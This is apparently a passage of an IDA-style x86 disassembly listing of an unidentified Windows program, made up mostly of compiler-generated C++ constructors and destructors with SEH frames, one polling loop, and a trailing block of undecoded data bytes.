mov byte ptr [esp+14h+var_4], 28h
call sub_401023
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401023
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_401AD2
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_401AD2
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_401AD2
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_401AD2
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_401AD2
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_401AD2
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_401AD2
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_401AD2
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_401AD2
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_401AD2
mov byte ptr [esp+14h+var_4], 1Ch
lea ecx, [esi+84Eh]
call sub_401AD2
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_401AD2
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_401AD2
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_401AD2
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_401AD2
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_401AD2
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_401AD2
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_401AD2
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_401AD2
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_401AD2
lea ecx, [esi+574h]
mov byte ptr [esp+14h+var_4], 12h
call sub_401AD2
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_401AD2
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_401AD2
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_401AD2
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_401AD2
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_401AD2
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_401AD2
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_401AD2
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_401AD2
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_401AD2
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_401AD2
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_401AD2
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_401AD2
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_401AD2
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_401AD2
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_401AD2
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_401AD2
mov byte ptr [esp+14h+var_4], 1
lea ecx, [esi+9Bh]
call sub_401AD2
lea ecx, [esi+52h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AD2
lea ecx, [esi+9]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AD2
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417020 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417540 proc near ; CODE XREF: sub_4014F1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417540
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0A3h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417540 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4175E0 proc near ; CODE XREF: sub_401E83j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4175E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+118h]
mov [esp+14h+var_4], 5
call sub_401023
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4175E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4176B0 proc near ; CODE XREF: sub_401235j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4176B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8D0C0h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+8D036h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+8D008h]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4176B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417770 proc near ; CODE XREF: sub_402216j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417770
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417770 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417830 proc near ; CODE XREF: sub_401EB0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417830
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417830 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4178F0 proc near ; CODE XREF: sub_4018CAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4178F0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4178F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417960 proc near ; CODE XREF: sub_4017D0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417960
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417960 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4179D0 proc near ; CODE XREF: sub_401B27j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4179D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4179D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417A40 proc near ; CODE XREF: sub_401F28j
add ecx, 4
jmp sub_401023
sub_417A40 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417A60 proc near ; CODE XREF: sub_401113j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417A60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+60h]
mov [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417A60 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417AE0 proc near ; CODE XREF: sub_401DEDj
add ecx, 4
jmp sub_401023
sub_417AE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B00 proc near ; CODE XREF: sub_401FF5j
add ecx, 4
jmp sub_401023
sub_417B00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B20 proc near ; CODE XREF: sub_401EE2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417B20
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0BCh]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417B20 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417BC0 proc near ; CODE XREF: sub_40157Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417BC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401424
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0A3h]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E078
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417BC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417C60 proc near ; CODE XREF: sub_401645j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417C60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401749
lea ecx, [esi+118h]
mov byte ptr [esp+14h+var_4], 5
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E07C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417C60 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417D30 proc near ; CODE XREF: sub_401776j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417D30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+8D008h]
call sub_401749
lea ecx, [esi+8D036h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+8D0C0h]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E080
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417D30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417DF0 proc near ; CODE XREF: sub_401820j
push esi
mov esi, ecx
call sub_401E6A
mov dword ptr [esi], offset off_43E050
mov eax, esi
pop esi
retn
sub_417DF0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417E20 proc near ; CODE XREF: sub_4016B3j
push esi
mov esi, ecx
call sub_401E6A
mov dword ptr [esi], offset off_43E05C
mov eax, esi
pop esi
retn
sub_417E20 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417E50 proc near ; CODE XREF: sub_401415j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417E50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E084
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417E50 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417F10 proc near ; CODE XREF: sub_401302j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417F10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E088
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417F10 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417FD0 proc near ; CODE XREF: sub_401271j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417FD0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E08C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417FD0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418050 proc near ; CODE XREF: sub_401D11j
push esi
mov esi, ecx
call sub_4011B3
mov dword ptr [esi], offset nullsub_10
mov eax, esi
pop esi
retn
sub_418050 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418080 proc near ; CODE XREF: sub_4012FDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418080
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E094
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418080 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418100 proc near ; CODE XREF: sub_401A7Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418100
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E098
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418100 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418180 proc near ; CODE XREF: sub_401285j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
mov dword ptr [esi], offset off_43E09C
mov eax, esi
pop esi
retn
sub_418180 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4181B0 proc near ; CODE XREF: sub_401CA3j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4181B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0A0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4181B0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418230 proc near ; CODE XREF: sub_401573j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
mov dword ptr [esi], offset off_43E0A4
mov eax, esi
pop esi
retn
sub_418230 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418260 proc near ; CODE XREF: sub_40178Fj
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
mov dword ptr [esi], offset off_43E0A8
mov eax, esi
pop esi
retn
sub_418260 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418290 proc near ; CODE XREF: sub_401073j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418290
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0AC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418290 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418330 proc near ; CODE XREF: sub_401267j
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
push ebx
push ebp
mov ebp, dword_50F8D0
push esi
mov esi, ecx
push edi
xor bl, bl
mov byte ptr [esi+9FD2Ch], 1
loc_418348: ; CODE XREF: sub_418330+E4j
test bl, bl
jnz loc_41841E
mov al, [esi+8EF74h]
test al, al
jnz short loc_41835E
mov bl, 1
jmp short loc_418372
; ---------------------------------------------------------------------------
loc_41835E: ; CODE XREF: sub_418330+28j
lea ecx, [esi+15Fh]
call sub_40185C
test al, al
setz bl
test bl, bl
jz short loc_418379
loc_418372: ; CODE XREF: sub_418330+2Cj
mov byte ptr [esi+9FD2Ch], 0
loc_418379: ; CODE XREF: sub_418330+40j
lea ecx, [esp+1Ch+var_C]
call sub_402086
lea edi, [esi+9FD83h]
lea eax, [esp+1Ch+var_4]
push eax
mov ecx, edi
call sub_401F4B
mov ecx, [eax]
lea edx, [esp+1Ch+var_8]
mov [esp+1Ch+var_C], ecx
push edx
mov ecx, edi
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_4016F9
test al, al
jz short loc_4183FE
loc_4183B4: ; CODE XREF: sub_418330+CCj
lea ecx, [esp+1Ch+var_C]
call sub_402211
mov ecx, [eax]
call sub_401744
lea ecx, [esp+1Ch+var_C]
call sub_402211
mov eax, [eax]
test eax, eax
jz short loc_4183DB
mov edx, [eax]
push 1
mov ecx, eax
call dword ptr [edx]
loc_4183DB: ; CODE XREF: sub_418330+A1j
lea ecx, [esp+1Ch+var_C]
call sub_401361
lea eax, [esp+1Ch+var_8]
mov ecx, edi
push eax
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_4016F9
test al, al
jnz short loc_4183B4
loc_4183FE: ; CODE XREF: sub_418330+82j
mov ecx, edi
call sub_4010B9
push 0FAh
call ebp ; dword_50F8D0
mov al, [esi+9FD2Ch]
test al, al
jnz loc_418348
test bl, bl
jz short loc_41842B
loc_41841E: ; CODE XREF: sub_418330+1Aj
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_41842B: ; CODE XREF: sub_418330+ECj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0Ch
retn
sub_418330 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418490 proc near ; CODE XREF: sub_401767j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_418490
push eax
mov large fs:0, esp
sub esp, 1A8h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ecx, offset byte_4E6EDB
mov byte ptr [esi+9FD2Ch], 1
call sub_4010B9
mov eax, [esp+1C4h+arg_4]
test eax, eax
jz short loc_4184D0
push eax
jmp short loc_4184D5
; ---------------------------------------------------------------------------
loc_4184D0: ; CODE XREF: sub_418490+3Bj
push offset byte_446F70
loc_4184D5: ; CODE XREF: sub_418490+3Ej
lea ecx, [esi+9FD57h]
call sub_4015D7
mov edi, [esp+1C4h+arg_0]
test edi, edi
jz short loc_4184EE
push edi
jmp short loc_4184F3
; ---------------------------------------------------------------------------
loc_4184EE: ; CODE XREF: sub_418490+59j
push offset byte_446F70
loc_4184F3: ; CODE XREF: sub_418490+5Cj
lea ecx, [esi+9FD6Ch]
call sub_4015D7
push edi
lea ecx, [esi+3Eh]
call sub_401384
sub_418490 endp
; ---------------------------------------------------------------------------
db 8Ah
dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE945CE8h
dd 244C8DFFh, 2685128h, 0E8000002h, 7169E121h, 8F88E890h
dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh
dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh
dd 680050F8h, 3E8h, 0CF8BD3FFh, 0FE8CB3E8h, 3E868FFh, 0D3FF0000h
dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh, 868AFFFEh
dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h
dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh
dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh
dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h
dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh
dd 90006A08h, 82185DE8h, 98C6E877h, 8E8DFFFEh, 168h, 0FE91B3E8h
